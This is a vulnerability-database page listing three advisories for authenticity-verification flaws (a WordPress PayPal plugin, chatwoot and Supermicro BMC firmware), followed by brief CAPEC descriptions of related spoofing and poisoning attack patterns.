VLAI
Details

The Subscriptions & Memberships for PayPal plugin for WordPress is vulnerable to fake payment creation in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying the authenticity of an IPN request. This makes it possible for unauthenticated attackers to create fake payment entries that have not actually occurred.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-22T08:15:42Z",
    "severity": "MODERATE"
  },
  "details": "The Subscriptions \u0026 Memberships for PayPal plugin for WordPress is vulnerable to fake payment creation in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying the authenticity of an IPN request. This makes it possible for unauthenticated attackers to create fake payment entries that have not actually occurred.",
  "id": "GHSA-hgcx-x66q-2c6r",
  "modified": "2025-11-22T09:31:03Z",
  "published": "2025-11-22T09:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12752"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/subscriptions-memberships-for-paypal/trunk/includes/public_ipn.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3397608%40subscriptions-memberships-for-paypal\u0026new=3397608%40subscriptions-memberships-for-paypal\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f706b78-2d67-442c-b7a0-7d7a0fd24b2d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HGG8-54GW-8V33

Vulnerability from github – Published: 2025-10-27 09:30 – Updated: 2025-10-27 09:30
VLAI
Details

A vulnerability was identified in chatwoot up to 4.7.0. This vulnerability affects the function initPostMessageCommunication of the file app/javascript/sdk/IFrameHelper.js of the component Widget. The manipulation of the argument baseUrl leads to origin validation error. Remote exploitation of the attack is possible. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-27T08:15:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in chatwoot up to 4.7.0. This vulnerability affects the function initPostMessageCommunication of the file app/javascript/sdk/IFrameHelper.js of the component Widget. The manipulation of the argument baseUrl leads to origin validation error. Remote exploitation of the attack is possible. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-hgg8-54gw-8v33",
  "modified": "2025-10-27T09:30:16Z",
  "published": "2025-10-27T09:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12245"
    },
    {
      "type": "WEB",
      "url": "https://hckwr.com/blog/multiple-vulnerabilities-in-chatwoot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.329916"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.329916"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.673800"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HJ75-V4C2-73CH

Vulnerability from github – Published: 2025-02-04 09:31 – Updated: 2025-02-04 09:31
VLAI
Details

There is a vulnerability in the BMC firmware image authentication design

at Supermicro MBD-X12DPG-OA6

. An attacker can modify the firmware to bypass BMC inspection and bypass the signature verification process

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-04T08:15:27Z",
    "severity": "HIGH"
  },
  "details": "There is a vulnerability in the BMC firmware image authentication design \n\n at Supermicro MBD-X12DPG-OA6\n\n. An attacker can modify the firmware to bypass BMC inspection and bypass the signature verification process",
  "id": "GHSA-hj75-v4c2-73ch",
  "modified": "2025-02-04T09:31:07Z",
  "published": "2025-02-04T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10237"
    },
    {
      "type": "WEB",
      "url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Jan_2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.